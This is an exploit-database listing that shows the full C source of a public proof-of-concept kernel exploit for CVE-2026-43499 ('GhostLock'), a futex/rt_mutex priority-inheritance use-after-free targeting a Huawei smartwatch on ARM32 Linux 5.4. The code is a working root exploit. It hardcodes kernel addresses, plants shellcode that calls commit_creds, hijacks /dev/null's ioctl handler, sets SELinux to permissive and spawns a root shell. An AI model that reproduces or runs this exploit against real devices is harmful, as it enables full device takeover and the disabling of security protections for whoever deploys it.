Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

164 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files269
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/ghostlock_oppo9i.c

C · 18,441 bytes
/*
 * CVE-2026-43499 (GhostLock) - ARM32 Privilege Escalation Exploit
 *
 * Target: Huawei Watch 4 Pro (MDS-AL00), Snapdragon SW5100, armv7l, kernel 5.4.210
 *
 * Vulnerability: rt_mutex/futex PI UAF - remove_waiter() uses current instead
 * of waiter->task, failing to clear pi_blocked_on on proxy-lock rollback.
 *
 * Exploitation strategy:
 *   1. Stamp fake waiter via prctl(PR_SET_NAME) with task=init_task, lock=null_fops
 *   2. sched_setattr triggers PI chain walk -> enqueues waiter into fake lock
 *   3. rb_insert_color sets waiter->rb_parent_color=1 (valid fake cred: usage=1,uid=0,gid=0,euid=0)
 *   4. Re-stamp waiter with position-independent shellcode
 *   5. ioctl(/dev/null) calls waiter via overwritten unlocked_ioctl pointer
 *   6. Shellcode: r0=waiter; b commit_creds -> current->cred=waiter (ROOT)
 *   7. Kernel data/BSS/stack has no NX/PXN, so stack is executable
 *
 * Build: arm-linux-gnueabihf-gcc -static -o ghostlock_arm32 ghostlock_arm32.c -lpthread
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <linux/futex.h>
#include <time.h>

/* ARM32 syscall numbers (Huawei kernel 5.4) - use system definitions */
#include <sys/syscall.h>
#ifndef SYS_sched_setattr
#define SYS_sched_setattr   380
#endif

/* prctl options */
#define PR_SET_NAME         15

/* futex operations */
#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI  11
#endif
#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI   12
#endif
#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI          0
#endif
#ifndef FUTEX_WAIT
#define FUTEX_WAIT             0
#endif
#ifndef FUTEX_WAKE
#define FUTEX_WAKE             1
#endif

/* Kernel addresses (KASLR disabled, from binary analysis) */
#define KERNEL_BASE         0xC0008000
#define INIT_TASK           0xc1b11640
#define INIT_CRED           0xc1b17e60
/* TRUE commit_creds entry (kallsyms: 0xc014c898 T commit_creds).
 * NOTE: the old value 0xc014cac8 was actually override_creds() (a leaf
 * helper right after commit_creds). Calling it with the fake waiter cred
 * only overwrote current->cred with stack garbage; the subsequent
 * setuid()/execve then dereferenced cred->security garbage -> panic. */
#define COMMIT_CREDS        0xc014c898

/* ioctl cmd used for dispatch: cmd - 0x40000000 == &init_cred (mod 2^32).
 * The shellcode computes r0 = r1 - #0x40000000, where r1 = cmd at the
 * f_op->unlocked_ioctl(filp, cmd, arg) indirect call site. */
#define IOCTL_CMD           0x01B17E60u  /* = INIT_CRED + 0x40000000 */

/* null_fops at 0xc1420370 (/dev/null, mode 0666):
 *   +0x04 llseek=0xc06b36bc, +0x08 read=0xc06b36d4, +0x0c write=0xc06b36dc
 *   +0x24=0, +0x28 unlocked_ioctl=0, +0x2c compat_ioctl=0, +0x30 mmap=0
 * fake_lock = fops+0x24: wait_lock=0, rb_root=0, rb_leftmost=0, owner=0
 * After write: unlocked_ioctl(+0x28) = waiter stack address
 */
#define FAKE_LOCK           0xc1b39500
#define NULL_FOPS           0xc1420370

/* rt_mutex_waiter field offsets (32-bit ARM) */
#define WAITER_TASK_OFF     0x18
#define WAITER_LOCK_OFF     0x1c
#define WAITER_PRIO_OFF     0x20

/* sched_attr is defined in linux/sched/types.h with sched_ prefixed fields */
#include <sched.h>

/* musl does not provide struct sched_attr - define it (kernel ABI layout) */
#ifndef SCHED_ATTR_DEFINED
#define SCHED_ATTR_DEFINED
struct sched_attr {
    uint32_t size;
    uint32_t sched_policy;
    uint64_t sched_flags;
    int32_t  sched_nice;
    uint32_t sched_priority;
    uint64_t sched_runtime;
    uint64_t sched_deadline;
    uint64_t sched_period;
};
#endif

/* Shared state */
static uint32_t f_wait;
static uint32_t f_pi_target;
static uint32_t f_pi_chain;

static volatile int a_ready;
static volatile int a_tid;
static volatile int a_waiting;
static volatile int b_started;
static volatile int consume;
static volatile int stamp_ready;
static volatile int scheduled;
static volatile int deadlock_seen;
static volatile int shellcode_stamped;

/* Phase 1 stamp: valid fake waiter data for chain traversal.
 *   bytes 0-3:  waiter->task = INIT_TASK (safe for try_to_wake_up)
 *   bytes 4-7:  waiter->lock = FAKE_LOCK (null_fops+0x24)
 *   bytes 8-11: waiter->prio = 0x01010101
 *   bytes 12-14: padding = 0x010101
 */
static unsigned char stamp_phase1[16];

/* Phase 2 stamp: position-independent ARM shellcode.
 *
 * ioctl dispatch enters at waiter+0x0c (pi_tree_entry = [1,0,0] after
 * rb_insert_color -> three harmless 'andeq' stub words), then flows into
 * the stamped region at waiter+0x18. At the indirect call site the kernel
 * passes (r0=filp, r1=cmd, r2=arg), so r1 = our ioctl cmd value.
 *
 * Layout at waiter+0x18:
 *   +0x18: sub r0, r1, #0x40000000 ; r0 = cmd - 0x40000000 = &init_cred
 *                                   (we pass cmd = 0x01B17E60)
 *   +0x1c: ldr pc, [pc, #-4]       ; jump to commit_creds (literal at +0x20)
 *   +0x20: .word 0xc014c898        ; TRUE commit_creds entry (kallsyms)
 *   +0x24..+0x26: padding 0x01     ; never executed (jump at +0x1c)
 *
 * commit_creds(&init_cred) is the classic safe path: init_cred is a fully
 * valid cred (uid/gid 0, full caps, user=&root_user, valid SELinux label),
 * so every pointer commit_creds dereferences is real kernel data. It sets
 * current->real_cred = current->cred = &init_cred and returns 0 cleanly
 * back into do_vfs_ioctl.
 *
 * Encoding notes (no NUL bytes allowed - prctl copies a C string):
 *   sub r0,r1,#0x40000000 = 0xe2410101 (imm12 rot=1, imm8=1)
 *   ldr pc,[pc,#-4]       = 0xe51ff004
 */
static unsigned char stamp_phase2[16];

static long futex_pi_lock(uint32_t *uaddr) {
    errno = 0;
    long r = syscall(SYS_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
    printf("[%d] LOCK_PI(%p) = %ld errno=%d\n", (int)syscall(SYS_gettid),
           (void*)uaddr, r, errno);
    return r;
}

/* SYS_futex=240 on arm32 is the y2038-compat op: its timeout must use the
 * OLD 32-bit 'struct old_timespec32' (two int32). Passing bionic's native
 * 64-bit timespec makes the kernel read tv_nsec=0 -> absolute time already
 * expired -> immediate ETIMEDOUT. */
struct old_ts32 { int32_t tv_sec; int32_t tv_nsec; };

static long futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
                                  struct old_ts32 *ts) {
    errno = 0;
    long r = syscall(SYS_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts, uaddr2, 0);
    printf("[%d] WAIT_REQUEUE_PI(%p -> %p) = %ld errno=%d\n",
           (int)syscall(SYS_gettid), (void*)uaddr, (void*)uaddr2, r, errno);
    return r;
}

static long futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2) {
    errno = 0;
    long r = syscall(SYS_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1, uaddr2, 0);
    printf("[%d] CMP_REQUEUE_PI(%p -> %p) = %ld errno=%d\n",
           (int)syscall(SYS_gettid), (void*)uaddr, (void*)uaddr2, r, errno);
    return r;
}

static void futex_wait_int(volatile int *uaddr, int val) {
    syscall(SYS_futex, (int *)uaddr, FUTEX_WAIT, val, 0, 0, 0);
}

static void futex_wake_int(volatile int *uaddr) {
    syscall(SYS_futex, (int *)uaddr, FUTEX_WAKE, 1, 0, 0, 0);
}

static void wait_change(volatile int *uaddr, int val) {
    while (*uaddr == val)
        futex_wait_int(uaddr, val);
}

static void build_stamps(void) {
    { uint32_t v=0x33333333; memcpy(stamp_phase1+0,&v,4); }
    { uint32_t v=0x33333333; memcpy(stamp_phase1+4,&v,4); }
    { uint32_t v=0x00000078; memcpy(stamp_phase1+8,&v,4); }
    { uint32_t v=0x00333333; memcpy(stamp_phase1+12,&v,4); }
    stamp_phase1[15] = '\0';

    /* Phase 2: shellcode stamp
     *   sub r0, r1, #0x40000000 ; r0 = ioctl cmd - 0x40000000 = &init_cred
     *   ldr pc, [pc, #-4]       ; -> commit_creds
     *   .word COMMIT_CREDS      ; true entry 0xc014c898
     */
    uint32_t sub_r0_r1   = 0xe2410101;  /* sub r0, r1, #0x40000000 */
    uint32_t ldr_pc      = 0xe51ff004;  /* ldr pc, [pc, #-4] */
    uint32_t cc_addr     = COMMIT_CREDS;
    uint8_t  nop[3]      = {0x01, 0x01, 0x01};

    memcpy(stamp_phase2 + 0, &sub_r0_r1, 4);
    memcpy(stamp_phase2 + 4, &ldr_pc, 4);
    memcpy(stamp_phase2 + 8, &cc_addr, 4);
    memcpy(stamp_phase2 + 12, nop, 3);
    stamp_phase2[15] = '\0';

    /* Verify no null bytes in first 15 positions */
    for (int i = 0; i < 15; i++) {
        if (stamp_phase2[i] == 0) {
            fprintf(stderr, "[-] phase2 stamp has null byte at offset %d\n", i);
            exit(1);
        }
    }

    printf("[*] Phase1 stamp (chain walk): ");
    for (int i = 0; i < 16; i++) printf("%02x", stamp_phase1[i]);
    printf("\n");
    printf("[*] Phase2 stamp (shellcode): ");
    for (int i = 0; i < 16; i++) printf("%02x", stamp_phase2[i]);
    printf("\n");
    printf("[*]   shellcode: sub r0,r1,#0x40000000; ldr pc,[pc,#-4]; .word 0x%08x\n",
           COMMIT_CREDS);
    printf("[*]   ioctl cmd: 0x%08x -> r0 = &init_cred (0x%08x)\n",
           IOCTL_CMD, (uint32_t)(IOCTL_CMD - 0x40000000u));
}

static void do_stamp(const unsigned char *name) {
    syscall(SYS_prctl, PR_SET_NAME, name, 0, 0, 0);
}

static void do_stamp_logged(const char *tag, const unsigned char *name) {
    errno = 0;
    long r = syscall(SYS_prctl, PR_SET_NAME, name, 0, 0, 0);
    printf("[%d] prctl(%s) = %ld errno=%d\n", (int)syscall(SYS_gettid),
           tag, r, errno);
}

#define ROUNDS 0

static void *waiter_thread(void *arg) {
    struct timespec now;
    struct old_ts32 ts;
    (void)arg;

    a_tid = (int)syscall(SYS_gettid);
    printf("[+] Waiter thread TID = %d\n", a_tid);

    /* Lock f_pi_chain first, then wait on f_wait with requeue to f_pi_target */
    futex_pi_lock(&f_pi_chain);
    a_ready = 1;

    usleep(20000);

    clock_gettime(CLOCK_MONOTONIC, &now);
    int64_t ns = now.tv_nsec + 1500000000; /* 1500ms absolute deadline */
    ts.tv_sec  = (int32_t)(now.tv_sec + ns / 1000000000);
    ts.tv_nsec = (int32_t)(ns % 1000000000);

    a_waiting = 1;
    long wr = futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
    printf("[%d] waiter: WAIT_REQUEUE_PI returned, wr=%ld\n", a_tid, wr);

    /* After EDEADLK + timeout, pi_blocked_on is dangling. CRITICAL: from
     * here until the chain walk finishes, make NO futex syscalls on this
     * thread — every futex op re-enters do_futex and reuses the exact
     * kernel stack slot (sp+0x98) holding the dangling rt_waiter, which
     * can clobber the RB_CLEAR_NODE marker checked by rt_mutex_dequeue().
     * Pure userspace spins only. */
    while (!deadlock_seen)
        ;
    printf("[%d] waiter: deadlock_seen observed, stamping phase1\n", a_tid);

    /* Phase 1: stamp with valid waiter data for chain traversal */
    consume = 1;

    do_stamp_logged("phase1", stamp_phase1);
    stamp_ready = 1;

    /* Stay hot in userspace while the consumer runs the chain walk on
     * another CPU. */
    for (int i = 0; i < ROUNDS; i++)
        do_stamp(stamp_phase1);

    /* Wait for chain traversal to complete (pure spin, no syscalls). */
    while (!scheduled)
        ;
    printf("[+] Waiter: chain walk done, switching to shellcode stamp\n");

    /* Phase 2: stamp shellcode onto the waiter location.
     * prctl(PR_SET_NAME) only writes to waiter+0x18..+0x27, leaving the
     * rb_node fields (rb_parent_color=1 etc.) intact. */
    for (int i = 0; i < 50; i++)
        do_stamp(stamp_phase2);

    /* Spin in userspace forever — NO more syscalls (not even printf),
     * to keep the kernel stack (which now holds both the fake cred and
     * shellcode) stable. The main thread's ioctl will read/execute this
     * stack from another CPU. */
    shellcode_stamped = 1;
    for (;;)
        ;
    return NULL;
}

static void *owner_thread(void *arg) {
    (void)arg;

    futex_pi_lock(&f_pi_target);

    while (!a_ready)
        usleep(1000);

    b_started = 1;

    /* Lock f_pi_chain (held by waiter) -> creates PI chain */
    long or_ = futex_pi_lock(&f_pi_chain);
    printf("[%d] owner: second LOCK_PI unexpectedly returned %ld errno=%d\n",
           (int)syscall(SYS_gettid), or_, errno);

    for (;;)
        pause();
    return NULL;
}

static void *consumer_thread(void *arg) {
    struct sched_attr attr;
    (void)arg;

    memset(&attr, 0, sizeof(attr));
    attr.size = sizeof(attr);
    attr.sched_policy = 3;  /* SCHED_BATCH */
    attr.sched_nice = 19;

    while (!a_tid)
        usleep(1000);

    /* Pure userspace spin: no futex syscalls while the dangling waiter's
     * kernel stack slot must stay pristine. */
    while (!consume || !stamp_ready)
        usleep(2000);

    printf("[*] Consumer: triggering sched_setattr(TID=%d)\n", a_tid);

    /* Triggers PI chain walk -> enqueues fake waiter into FAKE_LOCK.
     * Writes waiter's kernel stack address to FAKE_LOCK+4 (unlocked_ioctl).
     * rb_insert_color sets waiter->rb_parent_color=1 (black root = valid fake cred). */
    errno = 0;
    long ret = syscall(SYS_sched_setattr, a_tid, &attr, 0);
    int saved_errno = errno;
    printf("[*] sched_setattr returned %ld (errno=%d)\n", ret, saved_errno);

    scheduled = 1;

    for (;;)
        pause();
    return NULL;
}

int main(void) {
    pthread_t th;
    pthread_attr_t attr;
    int null_fd;

    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    printf("=== CVE-2026-43499 (GhostLock) ARM32 Root Exploit ===\n");
    printf("[*] Target: Huawei Watch 4 Pro, kernel 5.4.210\n");
    printf("[*] KASLR: disabled\n");
    printf("[*] Fake lock (null_fops+0x24): 0x%08x\n", FAKE_LOCK);
    printf("[*] commit_creds: 0x%08x\n", COMMIT_CREDS);
    printf("[*] Stack is executable (no PXN on 0xc1b00000+)\n");

    if (sizeof(long) != 4) {
        fprintf(stderr, "[-] This exploit must be compiled as 32-bit ARM\n");
        return 1;
    }

    build_stamps();

    f_wait = 0;
    f_pi_target = 0;
    f_pi_chain = 0;

    mlockall(MCL_CURRENT | MCL_FUTURE);

    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr, 1024 * 1024);

    pthread_create(&th, &attr, owner_thread, NULL);
    usleep(10000);

    pthread_create(&th, &attr, consumer_thread, NULL);

    pthread_create(&th, &attr, waiter_thread, NULL);

    while (!a_waiting || !b_started)
        usleep(1000);

    printf("[*] Both threads positioned, triggering EDEADLK...\n");

    /* Trigger UAF via deadlock-detection rollback. Retry CMP until the PI
     * chain is fully established: -EDEADLK(35) = dangling waiter created;
     * ret>0 = waiter was legitimately requeued (state spoiled, give up this
     * process and let the outer wrapper rerun fresh); 0 = not queued yet. */
    int got_ed = 0, spoiled = 0;
    for (int i = 0; i < 220; i++) {
        errno = 0;
        long r = syscall(SYS_futex, &f_wait, FUTEX_CMP_REQUEUE_PI,
                         1, 1, &f_pi_target, 0);
        int e = errno;
        printf("[%d] main CMP attempt %d = %ld errno=%d\n",
               (int)syscall(SYS_gettid), i, r, e);
        if (r < 0 && e == 35) { got_ed = 1; break; }
        if (r > 0) { spoiled = 1; break; }
        usleep(5000);
    }
    /* wake W from f_wait regardless (it still holds the dangling state) */
    syscall(SYS_futex, (int*)&f_wait, FUTEX_WAKE, 1, 0, 0, 0);
    if (!got_ed)
        printf("[!] no EDEADLK obtained (spoiled=%d), chain walk will be a no-op\n",
               spoiled);

    deadlock_seen = 1;

    printf("[*] UAF triggered, waiting for chain walk...\n");

    while (!scheduled)
        usleep(10000);

    printf("\n[+] Write primitive completed!\n");
    printf("[+] unlocked_ioctl at 0x%08x overwritten with waiter stack address\n",
           NULL_FOPS + 0x28);

    /* Wait for waiter to finish stamping shellcode (spin, no syscalls from
     * our side that could disturb the waiter's kernel stack) */
    printf("[*] Waiting for shellcode stamp...\n");
    while (!shellcode_stamped)
        usleep(1000);
    usleep(50000);  /* extra margin for last prctl to return */

    /* Open /dev/null and trigger ioctl -> calls waiter as function -> shellcode */
    printf("[*] Opening /dev/null...\n");
    null_fd = open("/dev/null", O_RDWR);
    if (null_fd < 0) {
        perror("[-] open(/dev/null)");
        return 1;
    }
    printf("[+] /dev/null opened (fd=%d)\n", null_fd);

    printf("[*] Triggering ioctl -> shellcode -> commit_creds...\n");

    /* ioctl calls unlocked_ioctl(f_op+0x28) = waiter address.
     * Shellcode: r0 = cmd - 0x40000000 = &init_cred; commit_creds(r0).
     * cmd = 0x01B17E60 is chosen so the no-NUL-byte encodable instruction
     * 'sub r0, r1, #0x40000000' yields exactly &init_cred in r0. */
    long ret = ioctl(null_fd, IOCTL_CMD, 0);
    printf("[*] ioctl returned %ld (errno=%d)\n", ret, errno);

    /* Check if we got root */
    if (getuid() == 0) {
        printf("\n[+] SUCCESS! uid=%d, euid=%d\n", getuid(), geteuid());
        printf("[+] Spawning root shell...\n\n");

        /* Fix credentials properly (full caps from init_cred) */
        setgid(0);
        setuid(0);

        /* Best effort: drop SELinux to permissive (kernel/init context
         * with CAP_MAC_ADMIN should be allowed; ignore failures) */
        int sefd = open("/sys/fs/selinux/enforce", O_WRONLY);
        if (sefd >= 0) {
            if (write(sefd, "0", 1) >= 0)
                printf("[+] SELinux set to permissive\n");
            else
                printf("[*] setenforce failed (errno=%d), continuing\n", errno);
            close(sefd);
        } else {
            printf("[*] cannot open selinux enforce (errno=%d), continuing\n",
                   errno);
        }

        /* Spawn root shell (interactive: stdio inherited from adb shell) */
        char *args[] = {"/system/bin/sh", NULL};
        char *envp[] = {"PATH=/sbin:/system/sbin:/system/bin:/system/xbin",
                        "HOME=/data/local/tmp", NULL};
        execve("/system/bin/sh", args, envp);

        /* Fallback shells */
        execl("/system/bin/sh", "sh", NULL);
        execl("/sbin/su", "su", NULL);
        execl("/system/xbin/su", "su", NULL);
        perror("[-] execve");
    } else {
        printf("\n[-] Exploit did not yield root (uid=%d, euid=%d)\n",
               getuid(), geteuid());
        printf("[*] The sentinel instruction may have corrupted lr, or the\n");
        printf("    waiter stack address may place Rd=lr. Try running again.\n");
    }

    close(null_fd);
    return 0;
}